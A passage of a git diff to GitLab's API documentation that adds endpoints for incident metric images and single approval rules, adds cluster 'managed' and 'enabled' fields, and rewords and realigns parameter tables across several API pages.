a/doc/api/issues.md b/doc/api/issues.md index ad5990f4a37..00c97fb7b61 100644 --- a/doc/api/issues.md +++ b/doc/api/issues.md @@ -2085,3 +2085,73 @@ Example response: To track which state was set, who did it, and when it happened, check out [Resource state events API](resource_state_events.md#issues). + +## Upload metric image + +Available only for Incident issues. + +```plaintext +POST /projects/:id/issues/:issue_iid/metric_images +``` + +| Attribute | Type | Required | Description | +|-------------|---------|----------|--------------------------------------| +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | +| `issue_iid` | integer | yes | The internal ID of a project's issue | +| `file` | file | yes | The image file to be uploaded | +| `url` | string | no | The URL to view more metric info | + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" --form 'file=@/path/to/file.png' \ +--form 'url=http://example.com' "https://gitlab.example.com/api/v4/projects/5/issues/93/metric_images" +``` + +Example response: + +```json +{ + "id": 23, + "created_at": "2020-11-13T00:06:18.084Z", + "filename": "file.png", + "file_path": "/uploads/-/system/issuable_metric_image/file/23/file.png", + "url": "http://example.com" +} +``` + +## List metric images + +Available only for Incident issues. + +```plaintext +GET /projects/:id/issues/:issue_iid/metric_images +``` + +| Attribute | Type | Required | Description | +|-------------|---------|----------|--------------------------------------| +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | +| `issue_iid` | integer | yes | The internal ID of a project's issue | + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/issues/93/metric_images" +``` + +Example response: + +```json +[ + { + "id": 17, + "created_at": "2020-11-12T20:07:58.156Z", + "filename": "sample_2054", + "file_path": "/uploads/-/system/issuable_metric_image/file/17/sample_2054.png", + "url": "example.com/metric" + }, + { + "id": 18, + "created_at": "2020-11-12T20:14:26.441Z", + "filename": "sample_2054", + "file_path": "/uploads/-/system/issuable_metric_image/file/18/sample_2054.png", + "url": "example.com/metric" + } +] +``` diff --git a/doc/api/issues_statistics.md b/doc/api/issues_statistics.md index 3f0b22cca4c..df0f1d51134 100644 --- a/doc/api/issues_statistics.md +++ b/doc/api/issues_statistics.md @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w Every API call to issues_statistics must be authenticated. If a user is not a member of a project and the project is private, a `GET` -request on that project will result to a `404` status code. +request on that project results in a `404` status code. ## Get issues statistics @@ -40,7 +40,7 @@ GET /issues_statistics?confidential=true | `author_id` | integer | no | Return issues created by the given user `id`. Mutually exclusive with `author_username`. Combine with `scope=all` or `scope=assigned_to_me`. | | `author_username` | string | no | Return issues created by the given `username`. Similar to `author_id` and mutually exclusive with `author_id`. | | `assignee_id` | integer | no | Return issues assigned to the given user `id`. Mutually exclusive with `assignee_username`. `None` returns unassigned issues. `Any` returns issues with an assignee. | -| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE `assignee_username` array should only contain a single value or an invalid parameter error will be returned otherwise. | +| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE `assignee_username` array should only contain a single value or an invalid parameter error is returned otherwise. | | `my_reaction_emoji` | string | no | Return issues reacted by the authenticated user by the given `emoji`. `None` returns issues not given a reaction. `Any` returns issues given at least one reaction. | | `iids[]` | integer array | no | Return only the issues having the given `iid` | | `search` | string | no | Search issues against their `title` and `description` | @@ -98,7 +98,7 @@ GET /groups/:id/issues_statistics?confidential=true | `author_id` | integer | no | Return issues created by the given user `id`. Mutually exclusive with `author_username`. Combine with `scope=all` or `scope=assigned_to_me`. | | `author_username` | string | no | Return issues created by the given `username`. Similar to `author_id` and mutually exclusive with `author_id`. | | `assignee_id` | integer | no | Return issues assigned to the given user `id`. Mutually exclusive with `assignee_username`. `None` returns unassigned issues. `Any` returns issues with an assignee. | -| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE `assignee_username` array should only contain a single value or an invalid parameter error will be returned otherwise. | +| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE `assignee_username` array should only contain a single value or an invalid parameter error is returned otherwise. | | `my_reaction_emoji` | string | no | Return issues reacted by the authenticated user by the given `emoji`. `None` returns issues not given a reaction. `Any` returns issues given at least one reaction. | | `search` | string | no | Search group issues against their `title` and `description` | | `created_after` | datetime | no | Return issues created on or after the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) | @@ -154,7 +154,7 @@ GET /projects/:id/issues_statistics?confidential=true | `author_id` | integer | no | Return issues created by the given user `id`. Mutually exclusive with `author_username`. Combine with `scope=all` or `scope=assigned_to_me`. | | `author_username` | string | no | Return issues created by the given `username`. Similar to `author_id` and mutually exclusive with `author_id`. | | `assignee_id` | integer | no | Return issues assigned to the given user `id`. Mutually exclusive with `assignee_username`. `None` returns unassigned issues. `Any` returns issues with an assignee. | -| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE `assignee_username` array should only contain a single value or an invalid parameter error will be returned otherwise. | +| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE `assignee_username` array should only contain a single value or an invalid parameter error is returned otherwise. | | `my_reaction_emoji` | string | no | Return issues reacted by the authenticated user by the given `emoji`. `None` returns issues not given a reaction. `Any` returns issues given at least one reaction. | | `search` | string | no | Search project issues against their `title` and `description` | | `created_after` | datetime | no | Return issues created on or after the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) | diff --git a/doc/api/job_artifacts.md b/doc/api/job_artifacts.md index 54085e6f508..d451cdc7b20 100644 --- a/doc/api/job_artifacts.md +++ b/doc/api/job_artifacts.md @@ -1,6 +1,6 @@ --- -stage: none -group: unassigned +stage: Verify +group: Continuous Integration info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- @@ -16,11 +16,11 @@ Get the job's artifacts zipped archive of a project. GET /projects/:id/jobs/:job_id/artifacts ``` -| Attribute | Type | Required | Description | -|-------------|----------------|----------|-------------------------------------------------------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | -| `job_id` | integer | yes | ID of a job. | -| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/README.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. | +| Attribute | Type | Required | Description | +|-------------|----------------|----------|--------------------------------------------------------------------------------------------------------------| +| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | +| `job_id` | integer | yes | ID of a job. | +| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/README.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. | Example request using the `PRIVATE-TOKEN` header: @@ -32,7 +32,7 @@ To use this in a [`script` definition](../ci/yaml/README.md#script) inside `.gitlab-ci.yml` **(PREMIUM)**, you can use either: - The `JOB-TOKEN` header with the GitLab-provided `CI_JOB_TOKEN` variable. - For example, the following job will download the artifacts of the job with ID + For example, the following job downloads the artifacts of the job with ID `42`. Note that the command is wrapped into single quotes since it contains a colon (`:`): @@ -44,7 +44,7 @@ To use this in a [`script` definition](../ci/yaml/README.md#script) inside ``` - Or the `job_token` attribute with the GitLab-provided `CI_JOB_TOKEN` variable. - For example, the following job will download the artifacts of the job with ID `42`: + For example, the following job downloads the artifacts of the job with ID `42`: ```yaml artifact_download: @@ -72,7 +72,7 @@ defining the job's name instead of its ID. NOTE: **Note:** If a pipeline is [parent of other child pipelines](../ci/parent_child_pipelines.md), artifacts are searched in hierarchical order from parent to child. For example, if both parent and -child pipelines have a job with the same name, the artifact from the parent pipeline will be returned. +child pipelines have a job with the same name, the artifact from the parent pipeline is returned. ```plaintext GET /projects/:id/jobs/artifacts/:ref_name/download?job=name @@ -80,12 +80,12 @@ GET /projects/:id/jobs/artifacts/:ref_name/download?job=name Parameters -| Attribute | Type | Required | Description | -|-------------|----------------|----------|-------------------------------------------------------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | -| `ref_name` | string | yes | Branch or tag name in repository. HEAD or SHA references are not supported. | -| `job` | string | yes | The name of the job. | -| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/README.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. | +| Attribute | Type | Required | Description | +|-------------|----------------|----------|--------------------------------------------------------------------------------------------------------------| +| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | +| `ref_name` | string | yes | Branch or tag name in repository. HEAD or SHA references are not supported. | +| `job` | string | yes | The name of the job. | +| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/README.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. | Example request using the `PRIVATE-TOKEN` header: @@ -97,7 +97,7 @@ To use this in a [`script` definition](../ci/yaml/README.md#script) inside `.gitlab-ci.yml` **(PREMIUM)**, you can use either: - The `JOB-TOKEN` header with the GitLab-provided `CI_JOB_TOKEN` variable. - For example, the following job will download the artifacts of the `test` job + For example, the following job downloads the artifacts of the `test` job of the `master` branch. Note that the command is wrapped into single quotes since it contains a colon (`:`): @@ -109,7 +109,7 @@ To use this in a [`script` definition](../ci/yaml/README.md#script) inside ``` - Or the `job_token` attribute with the GitLab-provided `CI_JOB_TOKEN` variable. - For example, the following job will download the artifacts of the `test` job + For example, the following job downloads the artifacts of the `test` job of the `master` branch: ```yaml @@ -179,12 +179,12 @@ GET /projects/:id/jobs/artifacts/:ref_name/raw/*artifact_path?job=name Parameters: -| Attribute | Type | Required | Description | -|-----------------|----------------|----------|------------------------------------------------------------------------------------------------------------------| +| Attribute | Type | Required | Description | +|-----------------|----------------|----------|--------------------------------------------------------------------------------------------------------------| | `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | -| `ref_name` | string | yes | Branch or tag name in repository. HEAD or SHA references are not supported. | -| `artifact_path` | string | yes | Path to a file inside the artifacts archive. | -| `job` | string | yes | The name of the job. | +| `ref_name` | string | yes | Branch or tag name in repository. `HEAD` or `SHA` references are not supported. | +| `artifact_path` | string | yes | Path to a file inside the artifacts archive. | +| `job` | string | yes | The name of the job. | Example request: @@ -210,8 +210,8 @@ POST /projects/:id/jobs/:job_id/artifacts/keep Parameters -| Attribute | Type | Required | Description | -|-----------|----------------|----------|------------------------------------------------------------------------------------------------------------------| +| Attribute | Type | Required | Description | +|-----------|----------------|----------|--------------------------------------------------------------------------------------------------------------| | `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | | `job_id` | integer | yes | ID of a job. | @@ -264,8 +264,8 @@ Delete artifacts of a job. DELETE /projects/:id/jobs/:job_id/artifacts ``` -| Attribute | Type | Required | Description | -|-----------|----------------|----------|------------------------------------------------------------------------------------------------------------------| +| Attribute | Type | Required | Description | +|-----------|----------------|----------|-----------------------------------------------------------------------------| | `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | | `job_id` | integer | yes | ID of a job. | diff --git a/doc/api/license.md b/doc/api/license.md index 8c92a46a975..c2fdda899d1 100644 --- a/doc/api/license.md +++ b/doc/api/license.md @@ -7,7 +7,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # License **(CORE ONLY)** To interact with license endpoints, you need to authenticate yourself as an -admin. +administrator. ## Retrieve information about the current license @@ -86,15 +86,15 @@ GET /licenses ] ``` -Overage is the difference between the number of active users and the licensed number of users. +Overage is the difference between the number of billable users and the licensed number of users. This is calculated differently depending on whether the license has expired or not. -- If the license has expired, it uses the historical maximum active user count (`historical_max`). -- If the license has not expired, it uses the current active users count. +- If the license has expired, it uses the historical maximum billable user count (`historical_max`). +- If the license has not expired, it uses the current billable users count. Returns: -- `200 OK` with response containing the licenses in JSON format. This will be an empty JSON array if there are no licenses. +- `200 OK` with response containing the licenses in JSON format. This is an empty JSON array if there are no licenses. - `403 Forbidden` if the current user in not permitted to read the licenses. ## Add a new license diff --git a/doc/api/license_templates.md b/doc/api/license_templates.md index 1b68af9ce31..7587721968b 100644 --- a/doc/api/license_templates.md +++ b/doc/api/license_templates.md @@ -3,3 +3,6 @@ redirect_to: 'templates/licenses.md' --- This document was moved to [another location](templates/licenses.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/api/members.md b/doc/api/members.md index d616dfdd85c..6809eeb9187 100644 --- a/doc/api/members.md +++ b/doc/api/members.md @@ -19,7 +19,7 @@ The access levels are defined in the `Gitlab::Access` module. Currently, these l CAUTION: **Caution:** Due to [an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/219299), -projects in personal namespaces will not show owner (`50`) permission +projects in personal namespaces don't show owner (`50`) permission for owner. ## Limitations diff --git a/doc/api/merge_request_approvals.md b/doc/api/merge_request_approvals.md index 89e4224c735..b7862ff52a3 100644 --- a/doc/api/merge_request_approvals.md +++ b/doc/api/merge_request_approvals.md @@ -173,6 +173,104 @@ GET /projects/:id/approval_rules ] ``` +### Get a single project-level rule + +> - Introduced 13.7. + +You can request information about a single project approval rules using the following endpoint: + +```plaintext +GET /projects/:id/approval_rules/:approval_rule_id +``` + +**Parameters:** + +| Attribute | Type | Required | Description | +|----------------------|---------|----------|-----------------------------------------------------------| +| `id` | integer | yes | The ID of a project | +| `approval_rule_id` | integer | yes | The ID of a approval rule | + +```json +{ + "id": 1, + "name": "security", + "rule_type": "regular", + "eligible_approvers": [ + { + "id": 5, + "name": "John Doe", + "username": "jdoe", + "state": "active", + "avatar_url": "https://www.gravatar.com/avatar/0?s=80&d=identicon", + "web_url": "http://localhost/jdoe" + }, + { + "id": 50, + "name": "Group Member 1", + "username": "group_member_1", + "state": "active", + "avatar_url": "https://www.gravatar.com/avatar/0?s=80&d=identicon", + "web_url": "http://localhost/group_member_1" + } + ], + "approvals_required": 3, + "users": [ + { + "id": 5, + "name": "John Doe", + "username": "jdoe", + "state": "active", + "avatar_url": "https://www.gravatar.com/avatar/0?s=80&d=identicon", + "web_url": "http://localhost/jdoe" + } + ], + "groups": [ + { + "id": 5, + "name": "group1", + "path": "group1", + "description": "", + "visibility": "public", + "lfs_enabled": false, + "avatar_url": null, + "web_url": "http://localhost/groups/group1", + "request_access_enabled": false, + "full_name": "group1", + "full_path": "group1", + "parent_id": null, + "ldap_cn": null, + "ldap_access": null + } + ], + "protected_branches": [ + { + "id": 1, + "name": "master", + "push_access_levels": [ + { + "access_level": 30, + "access_level_description": "Developers + Maintainers" + } + ], + "merge_access_levels": [ + { + "access_level": 30, + "access_level_description": "Developers + Maintainers" + } + ], + "unprotect_access_levels": [ + { + "access_level": 40, + "access_level_description": "Maintainers" + } + ], + "code_owner_approval_required": "false" + } + ], + "contains_hidden_groups": false +} +``` + ### Create project-level rule > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11877) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.3. diff --git a/doc/api/merge_trains.md b/doc/api/merge_trains.md index 3cfef3864ad..9dc1acec16c 100644 --- a/doc/api/merge_trains.md +++ b/doc/api/merge_trains.md @@ -11,9 +11,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w Every API call to merge trains must be authenticated with Developer or higher [permissions](../user/permissions.md). -If a user is not a member of a project and the project is private, a `GET` request on that project will result to a `404` status code. +If a user is not a member of a project and the project is private, a `GET` request on that project returns a `404` status code. -If Merge Trains is not available for the project, a `403` status code will return. +If Merge Trains is not available for the project, a `403` status code is returned. ## Merge Trains API pagination diff --git a/doc/api/metrics_dashboard_annotations.md b/doc/api/metrics_dashboard_annotations.md index c23ed657583..65e31eafd56 100644 --- a/doc/api/metrics_dashboard_annotations.md +++ b/doc/api/metrics_dashboard_annotations.md @@ -24,7 +24,7 @@ Parameters: |:---------------|:---------------|:---------|:-----------------------------------------------------------------------------| | `dashboard_path` | string | yes | ID of the dashboard which needs to be annotated. Treated as a CGI-escaped path, and automatically un-escaped. | | `starting_at` | string | yes | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z`. Timestamp marking start point of annotation. | -| `ending_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z`. Timestamp marking end point of annotation. When not supplied annotation will be displayed as single event at start point. | +| `ending_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z`. Timestamp marking end point of annotation. When not supplied, an annotation displays as a single event at the start point. | | `description` | string | yes | Description of the annotation. | ```shell diff --git a/doc/api/metrics_user_starred_dashboards.md b/doc/api/metrics_user_starred_dashboards.md index 8c2894293ba..a4040b53289 100644 --- a/doc/api/metrics_user_starred_dashboards.md +++ b/doc/api/metrics_user_starred_dashboards.md @@ -54,7 +54,7 @@ Parameters: | Attribute | Type | Required | Description | |:---------------|:---------------|:---------|:-----------------------------------------------------------------------------| | `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | -| `dashboard_path` | string | no | URL-encoded path to file defining the dashboard which should no longer be marked as favorite. When not supplied all dashboards within given projects will be removed from favorites. | +| `dashboard_path` | string | no | URL-encoded path to file defining the dashboard which should no longer be marked as favorite. When not supplied, all dashboards within given projects are removed from favorites. | ```shell curl --request DELETE --header 'Private-Token: <your_access_token>' https://gitlab.example.com/api/v4/projects/20/metrics/user_starred_dashboards \ diff --git a/doc/api/namespaces.md b/doc/api/namespaces.md index f61400dfddb..1434ed08693 100644 --- a/doc/api/namespaces.md +++ b/doc/api/namespaces.md @@ -93,12 +93,12 @@ the `plan` parameter associated with a namespace: ] ``` -Users on GitLab.com will also see `max_seats_used` and `seats_in_use` parameters. +Users on GitLab.com also see `max_seats_used` and `seats_in_use` parameters. `max_seats_used` is the highest number of users the group had. `seats_in_use` is the number of license seats currently being used. Both values are updated once a day. -`max_seats_used` and `seats_in_use` will be non-zero only for namespaces on paid plans. +`max_seats_used` and `seats_in_use` are non-zero only for namespaces on paid plans. ```json [ diff --git a/doc/api/pipeline_schedules.md b/doc/api/pipeline_schedules.md index 1faa6ef56db..fcbc36f83a8 100644 --- a/doc/api/pipeline_schedules.md +++ b/doc/api/pipeline_schedules.md @@ -109,14 +109,14 @@ Create a new pipeline schedule of a project. POST /projects/:id/pipeline_schedules ``` -| Attribute | Type | required | Description | -|---------------|---------|----------|--------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | -| `description` | string | yes | The description of pipeline schedule | -| `ref` | string | yes | The branch/tag name will be triggered | -| `cron` | string | yes | The cron (e.g. `0 1 * * *`) ([Cron syntax](https://en.wikipedia.org/wiki/Cron)) | -| `cron_timezone` | string | no | The timezone supported by `ActiveSupport::TimeZone` (e.g. `Pacific Time (US & Canada)`) (default: `'UTC'`) | -| `active` | boolean | no | The activation of pipeline schedule. If false is set, the pipeline schedule will deactivated initially (default: `true`) | +| Attribute | Type | required | Description | +|-----------------|----------------|----------|-------------------------------------------------------------------------------------------------------------------------| +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | +| `description` | string | yes | The description of the pipeline schedule. | +| `ref` | string | yes | The branch or tag name that is triggered. | +| `cron` | string | yes | The [cron](https://en.wikipedia.org/wiki/Cron) schedule, for example: `0 1 * * *`. | +| `cron_timezone` | string | no | The timezone supported by `ActiveSupport::TimeZone`, for example: `Pacific Time (US & Canada)` (default: `'UTC'`). | +| `active` | boolean | no | The activation of pipeline schedule. If false is set, the pipeline schedule is initially deactivated (default: `true`). | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form description="Build packages" --form ref="master" --form cron="0 1 * * 5" --form cron_timezone="UTC" --form active="true" "https://gitlab.example.com/api/v4/projects/29/pipeline_schedules" @@ -147,21 +147,21 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form descrip ## Edit a pipeline schedule -Updates the pipeline schedule of a project. Once the update is done, it will be rescheduled automatically. +Updates the pipeline schedule of a project. Once the update is done, it is rescheduled automatically. ```plaintext PUT /projects/:id/pipeline_schedules/:pipeline_schedule_id ``` -| Attribute | Type | required | Description | -|---------------|---------|----------|--------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | -| `pipeline_schedule_id` | integer | yes | The pipeline schedule ID | -| `description` | string | no | The description of pipeline schedule | -| `ref` | string | no | The branch/tag name will be triggered | -| `cron` | string | no | The cron (e.g. `0 1 * * *`) ([Cron syntax](https://en.wikipedia.org/wiki/Cron)) | -| `cron_timezone` | string | no | The timezone supported by `ActiveSupport::TimeZone` (e.g. `Pacific Time (US & Canada)`) or `TZInfo::Timezone` (e.g. `America/Los_Angeles`) | -| `active` | boolean | no | The activation of pipeline schedule. If false is set, the pipeline schedule will deactivated initially. | +| Attribute | Type | required | Description | +|------------------------|----------------|----------|------------------------------------------------------------------------------------------------------------------| +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | +| `pipeline_schedule_id` | integer | yes | The pipeline schedule ID. | +| `description` | string | no | The description of the pipeline schedule. | +| `ref` | string | no | The branch or tag name that is triggered. | +| `cron` | string | no | The [cron](https://en.wikipedia.org/wiki/Cron) schedule, for example: `0 1 * * *`. | +| `cron_timezone` | string | no | The timezone supported by `ActiveSupport::TimeZone` (for example `Pacific Time (US & Canada)`), or `TZInfo::Timezone` (for example `America/Los_Angeles`). | +| `active` | boolean | no | The activation of pipeline schedule. If false is set, the pipeline schedule is initially deactivated. | ```shell curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form cron="0 2 * * *" "https://gitlab.example.com/api/v4/projects/29/pipeline_schedules/13" diff --git a/doc/api/project_clusters.md b/doc/api/project_clusters.md index ce175184179..16b3839b61c 100644 --- a/doc/api/project_clusters.md +++ b/doc/api/project_clusters.md @@ -20,9 +20,9 @@ GET /projects/:id/clusters Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `id` | integer | yes | The ID of the project owned by the authenticated user | +| Attribute | Type | Required | Description | +| --------- | ------- | -------- | ----------------------------------------------------- | +| `id` | integer | yes | The ID of the project owned by the authenticated user | Example request: @@ -39,6 +39,8 @@ Example response: "name":"cluster-1", "domain":"example.com", "created_at":"2019-01-02T20:18:12.563Z", + "managed": true, + "enabled": true, "provider_type":"user", "platform_type":"kubernetes", "environment_scope":"*", @@ -88,10 +90,10 @@ GET /projects/:id/clusters/:cluster_id Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `id` | integer | yes | The ID of the project owned by the authenticated user | -| `cluster_id` | integer | yes | The ID of the cluster | +| Attribute | Type | Required | Description | +| ------------ | ------- | -------- | ----------------------------------------------------- | +| `id` | integer | yes | The ID of the project owned by the authenticated user | +| `cluster_id` | integer | yes | The ID of the cluster | Example request: @@ -107,6 +109,8 @@ Example response: "name":"cluster-1", "domain":"example.com", "created_at":"2019-01-02T20:18:12.563Z", + "managed": true, + "enabled": true, "provider_type":"user", "platform_type":"kubernetes", "environment_scope":"*", @@ -179,20 +183,20 @@ POST /projects/:id/clusters/user Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `id` | integer | yes | The ID of the project owned by the authenticated user | -| `name` | string | yes | The name of the cluster | -| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster | -| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | -| `enabled` | boolean | no | Determines if cluster is active or not, defaults to true | -| `managed` | boolean | no | Determines if GitLab will manage namespaces and service accounts for this cluster, defaults to true | -| `platform_kubernetes_attributes[api_url]` | string | yes | The URL to access the Kubernetes API | -| `platform_kubernetes_attributes[token]` | string | yes | The token to authenticate against Kubernetes | -| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. | -| `platform_kubernetes_attributes[namespace]` | string | no | The unique namespace related to the project | -| `platform_kubernetes_attributes[authorization_type]` | string | no | The cluster authorization type: `rbac`, `abac` or `unknown_authorization`. Defaults to `rbac`. | -| `environment_scope` | string | no | The associated environment to the cluster. Defaults to `*` **(PREMIUM)** | +| Attribute | Type | Required | Description | +| ---------------------------------------------------- | ------- | -------- | ----------------------------------------------------------------------------------------------------- | +| `id` | integer | yes | The ID of the project owned by the authenticated user | +| `name` | string | yes | The name of the cluster | +| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster | +| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | +| `enabled` | boolean | no | Determines if cluster is active or not, defaults to `true` | +| `managed` | boolean | no | Determines if GitLab manages namespaces and service accounts for this cluster. Defaults to `true` | +| `platform_kubernetes_attributes[api_url]` | string | yes | The URL to access the Kubernetes API | +| `platform_kubernetes_attributes[token]` | string | yes | The token to authenticate against Kubernetes | +| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. | +| `platform_kubernetes_attributes[namespace]` | string | no | The unique namespace related to the project | +| `platform_kubernetes_attributes[authorization_type]` | string | no | The cluster authorization type: `rbac`, `abac` or `unknown_authorization`. Defaults to `rbac`. | +| `environment_scope` | string | no | The associated environment to the cluster. Defaults to `*` **(PREMIUM)** | Example request: @@ -210,6 +214,8 @@ Example response: "id":24, "name":"cluster-5", "created_at":"2019-01-03T21:53:40.610Z", + "managed": true, + "enabled": true, "provider_type":"user", "platform_type":"kubernetes", "environment_scope":"*", @@ -273,18 +279,20 @@ PUT /projects/:id/clusters/:cluster_id Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `id` | integer | yes | The ID of the project owned by the authenticated user | -| `cluster_id` | integer | yes | The ID of the cluster | -| `name` | string | no | The name of the cluster | -| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster | -| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | -| `platform_kubernetes_attributes[api_url]` | string | no | The URL to access the Kubernetes API | -| `platform_kubernetes_attributes[token]` | string | no | The token to authenticate against Kubernetes | -| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. | -| `platform_kubernetes_attributes[namespace]` | string | no | The unique namespace related to the project | -| `environment_scope` | string | no | The associated environment to the cluster **(PREMIUM)** | +| Attribute | Type | Required | Description | +| ------------------------------------------- | ------- | -------- | ------------------------------------------------------------------------------------------ | +| `id` | integer | yes | The ID of the project owned by the authenticated user | +| `cluster_id` | integer | yes | The ID of the cluster | +| `name` | string | no | The name of the cluster | +| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster | +| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | +| `enabled` | boolean | no | Determines if cluster is active or not | +| `managed` | boolean | no | Determines if GitLab manages namespaces and service accounts for this cluster | +| `platform_kubernetes_attributes[api_url]` | string | no | The URL to access the Kubernetes API | +| `platform_kubernetes_attributes[token]` | string | no | The token to authenticate against Kubernetes | +| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. | +| `platform_kubernetes_attributes[namespace]` | string | no | The unique namespace related to the project | +| `environment_scope` | string | no | The associated environment to the cluster **(PREMIUM)** | NOTE: **Note:** `name`, `api_url`, `ca_cert` and `token` can only be updated if the cluster was added @@ -307,6 +315,8 @@ Example response: "name":"new-cluster-name", "domain":"new-domain.com", "created_at":"2019-01-03T21:53:40.610Z", + "managed": true, + "enabled": true, "provider_type":"user", "platform_type":"kubernetes", "environment_scope":"*", @@ -380,10 +390,10 @@ DELETE /projects/:id/clusters/:cluster_id Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `id` | integer | yes | The ID of the project owned by the authenticated user | -| `cluster_id` | integer | yes | The ID of the cluster | +| Attribute | Type | Required | Description | +| ------------ | ------- | -------- | ----------------------------------------------------- | +| `id` | integer | yes | The ID of the project owned by the authenticated user | +| `cluster_id` | integer | yes | The ID of the cluster | Example request: diff --git a/doc/api/projects.md b/doc/api/projects.md index 1c162e0bbd3..03440f0c143 100644 --- a/doc/api/projects.md +++ b/doc/api/projects.md @@ -2417,6 +2417,18 @@ Read more in the [Project import/export](project_import_export.md) documentation Read more in the [Project members](members.md) documentation. +## Configure pull mirroring for a project **(STARTER)** + +> Introduced in [GitLab Starter](https://about.gitlab.com/pricing/) 11.2. + +Configure pull mirroring while [creating a new project](#create-project) or [updating an existing project](#edit-project) using the API if the remote repository is publicly accessible or via `username/password` authentication. In case your HTTP repository is not publicly accessible, you can add the authentication information to the URL: `https://username:password@gitlab.company.com/group/project.git`, where password is a [personal access token](../user/profile/personal_access_tokens.md) with the API scope enabled. + +The 